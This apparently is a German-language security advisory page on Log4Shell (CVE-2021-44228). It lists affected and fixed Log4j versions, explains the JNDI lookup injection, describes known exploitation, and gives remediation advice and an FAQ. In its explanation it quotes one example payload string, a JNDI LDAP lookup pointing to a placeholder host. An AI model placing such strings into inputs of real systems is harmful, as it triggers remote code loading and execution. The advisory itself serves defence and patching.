Zum Inhalt springen

Log4Shell (CVE-2021-44228)

CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Aktualisiert 1. Oktober 20262 Min. Lesezeit

Log4Shell ist eine Schwachstelle in Apache Log4j 2, mit der ein Angreifer über eine einzige Zeichenfolge in einer Logzeile beliebigen Code auf dem Server ausführen kann. Die Bewertung liegt bei 10.0, dem Höchstwert von CVSS. Erste Tests gab es acht Tage vor der Veröffentlichung, Massenscans binnen Stunden danach. Log4j steckt tief in Java-Anwendungen: Finden Sie heraus, wo es läuft, und halten Sie es aktuell.

Betroffen
Apache Log4j 2.0-beta9 bis einschließlich 2.3, 2.4 bis einschließlich 2.12.1 und 2.13.0 bis einschließlich 2.14.1
Gepatcht in
Log4j 2.15.0 (Java 8), 2.12.2 (Java 7) und 2.3.1 (Java 6); die Folgelücken sind ab 2.17.1, 2.12.4 und 2.3.2 behoben
Aktiv ausgenutzt
ja

Am 9. Dezember 2021 wurde eine Schwachstelle in Log4j 2 bekannt, der Logging-Bibliothek, die in nahezu jeder Java-Anwendung steckt. Innerhalb weniger Stunden scannte das gesamte Internet danach. Ganz neu war die Lücke für Angreifer allerdings nicht: Cloudflare sah ab dem 1. Dezember vereinzelte Tests, Cisco Talos beobachtete ab dem 2. Dezember Angriffsaktivität. Log4Shell gilt seitdem als Musterbeispiel dafür, wie tief eine einzelne Komponente in einer Softwarelieferkette sitzen kann.

Was ist Log4Shell

Log4j konnte Werte in einer Logzeile nachschlagen und ersetzen. Eine Zeichenfolge wie ${jndi:ldap://beispiel.de/a} war für die Bibliothek kein Text, sondern eine Anweisung: hole etwas von diesem Server und führe es aus. Alles, was eine Anwendung protokolliert, konnte diese Anweisung enthalten, und Anwendungen protokollieren fast alles: einen Benutzernamen, einen Suchbegriff, einen User-Agent-Header.

Wie der Angriff abläuft

Der Angreifer setzt die Zeichenfolge in ein Feld, von dem er vermutet, dass es protokolliert wird. Oft war das schlicht der User-Agent einer HTTP-Anfrage. Sobald die Anwendung diese Zeile schrieb, baute der Server selbst eine Verbindung zum Angreifer auf, holte eine Java-Klasse und führte sie aus. Ohne Zugangsdaten, ohne Zutun eines Mitarbeiters.

Im Kern ist das eine Injection: Eingaben des Angreifers werden als JNDI-Lookup-Ausdruck ausgewertet (CWE-917). Die ausgehende Verbindung ist nur das Mittel. Der Schaden entsteht, weil der Server eine Klasse von einem Server des Angreifers lädt und ausführt, und so wird aus einer Logzeile Remote Code Execution.

Wer sie ausnutzte

Ein breites Spektrum an Angreifern. Kriminelle Gruppen scannten das Internet in großem Stil, und oft war die erste Nutzlast ein Kryptominer oder Botnetz-Malware wie Mirai. Staatliche Akteure folgten. Die CISA beschrieb zum Beispiel, wie von der iranischen Regierung unterstützte Akteure über einen ungepatchten VMware-Horizon-Server in eine US-Bundesbehörde eindrangen, einen Kryptominer installierten und zum Domain Controller weiterzogen. Dieser Einbruch reichte mindestens bis Februar 2022 zurück, zwei Monate nach Erscheinen des Patches.

Warum es sich so lange hinzog

Log4j wird selten bewusst installiert. Es kommt als Abhängigkeit eines Frameworks, das wiederum mit dem Produkt eines Herstellers kommt. Organisationen wussten schlicht nicht, wo es lief. Anwendungen, die nie gepatcht wurden, werden Jahre später noch gefunden und ausgenutzt.

Was jetzt zu tun ist

  • Inventarisieren Sie, welche Anwendungen Log4j 2 nutzen, indirekte Abhängigkeiten eingeschlossen. Eine Software Bill of Materials macht das wiederholbar.
  • Betreiben Sie ein Log4j-2-Release, das noch gepflegt wird. Log4Shell selbst wurde in 2.15.0 geschlossen (2.12.2 unter Java 7, 2.3.1 unter Java 6); alle drei Folgelücken sind ab 2.17.1, 2.12.4 und 2.3.2 behoben. Die Linien für Java 7 und Java 6 erhalten keine Updates mehr, und spätere Releases haben auch andere Probleme behoben.
  • Begrenzen Sie ausgehenden Verkehr von Servern. Ohne die Möglichkeit, nach außen zu telefonieren, scheitert die zweite Stufe des Angriffs.
  • Prüfen Sie, ob ab Dezember 2021 etwas hereingekommen ist. Damals erlangter Zugang kann noch bestehen.

Quellen

Häufige Fragen

Bin ich noch immer für Log4Shell anfällig?

Für Log4Shell selbst ja, wenn eine Anwendung log4j-core älter als 2.15.0 enthält, unter Java 7 älter als 2.12.2 und unter Java 6 älter als 2.3.1. Releases unterhalb von 2.17.1, 2.12.4 beziehungsweise 2.3.2 enthalten noch die Folgelücken. Log4j kommt meist als Abhängigkeit einer anderen Bibliothek mit, deshalb ist eine gründliche Inventarisierung Ihrer Software der einzige sichere Weg.

Hilft eine WAF gegen Log4Shell?

Eine Firewall fängt die bekannten Muster ab und verschafft Ihnen Zeit, aber die Zeichenfolge lässt sich auf Dutzende Arten verschleiern. Wirklich behoben wird es nur durch ein Upgrade.

Warum bekam Log4Shell eine 10.0?

Der Angriff braucht kein Konto, keine Benutzerinteraktion und funktioniert über das Netzwerk, und der Angreifer erhält volle Kontrolle über den Prozess. Das ist der Höchstwert auf jeder Achse, die CVSS misst.

Verwandte Artikel

Zum Suchen / drücken · Esc